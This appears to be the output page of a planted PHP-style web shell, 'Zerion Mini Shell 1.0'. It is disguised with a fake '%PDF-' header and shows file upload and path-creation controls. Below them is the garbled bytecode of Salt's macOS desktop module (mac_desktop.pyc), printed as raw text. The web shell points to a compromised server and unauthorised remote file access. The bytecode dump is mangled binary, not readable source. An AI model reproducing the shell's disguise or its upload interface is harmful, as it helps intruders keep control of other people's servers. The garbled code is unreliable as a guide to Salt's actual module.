%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/mac_desktop.pyc

�
���^c@@s�dZddlmZmZmZddlZddlmZdZ	d�Z
d�Zd�Zd	�Z
d
�Zd�Zd�ZdS(
uF
macOS implementations of various commands in the "desktop" interface
i(tabsolute_importtunicode_literalstprint_functionN(tCommandExecutionErrorudesktopcC@s tjjj�rtStdfS(u"
    Only load on Mac systems
    u;Cannot load macOS desktop module: This is not a macOS host.(tsalttutilstplatformt	is_darwint__virtualname__tFalse(((s</usr/lib/python2.7/site-packages/salt/modules/mac_desktop.pyt__virtual__scC@s9d}td|dddt�}t|�|jd�S(u�
    Get the output volume (range 0 to 100)

    CLI Example:

    .. code-block:: bash

        salt '*' desktop.get_output_volume
    u9osascript -e "get output volume of (get volume settings)"ucmd.run_alltoutput_logleveludebugtpython_shellustdout(t__salt__R	t
_check_cmdtget(tcmdtcall((s</usr/lib/python2.7/site-packages/salt/modules/mac_desktop.pytget_output_volumes
	
cC@s<dj|�}td|dddt�}t|�t�S(u�
    Set the volume of sound.

    volume
        The level of volume. Can range from 0 to 100.

    CLI Example:

    .. code-block:: bash

        salt '*' desktop.set_output_volume <volume>
    u+osascript -e "set volume output volume {0}"ucmd.run_allRudebugR(tformatR
R	RR(tvolumeRR((s</usr/lib/python2.7/site-packages/salt/modules/mac_desktop.pytset_output_volume-s
	
cC@s0d}td|dddt�}t|�tS(us
    Launch the screensaver.

    CLI Example:

    .. code-block:: bash

        salt '*' desktop.screensaver
    u`open /System/Library/Frameworks/ScreenSaver.framework/Versions/A/Resources/ScreenSaverEngine.appucmd.run_allRudebugR(R
R	RtTrue(RR((s</usr/lib/python2.7/site-packages/salt/modules/mac_desktop.pytscreensaverEs
	
cC@s0d}td|dddt�}t|�tS(um
    Lock the desktop session

    CLI Example:

    .. code-block:: bash

        salt '*' desktop.lock
    uY/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspenducmd.run_allRudebugR(R
R	RR(RR((s</usr/lib/python2.7/site-packages/salt/modules/mac_desktop.pytlockZs
	
cG@sBdjdj|��}td|dddt�}t|�tS(u�
    Say some words.

    words
        The words to execute the say command with.

    CLI Example:

    .. code-block:: bash

        salt '*' desktop.say <word0> <word1> ... <wordN>
    usay {0}u ucmd.run_allRudebugR(RtjoinR
R	RR(twordsRR((s</usr/lib/python2.7/site-packages/salt/modules/mac_desktop.pytsayos
	
cC@sv|ddkrrd}|jd�}|jd�}|rG||7}n|rZ||7}ntdj|���n|S(u<
    Check the output of the cmd.run_all function call.
    uretcodeiuustderrustdoutuError running command: {0}(RRR(Rtcommenttstd_errtstd_out((s</usr/lib/python2.7/site-packages/salt/modules/mac_desktop.pyR�s

(t__doc__t
__future__RRRtsalt.utils.platformRtsalt.exceptionsRRR
RRRRRR(((s</usr/lib/python2.7/site-packages/salt/modules/mac_desktop.pyt<module>s							

Zerion Mini Shell 1.0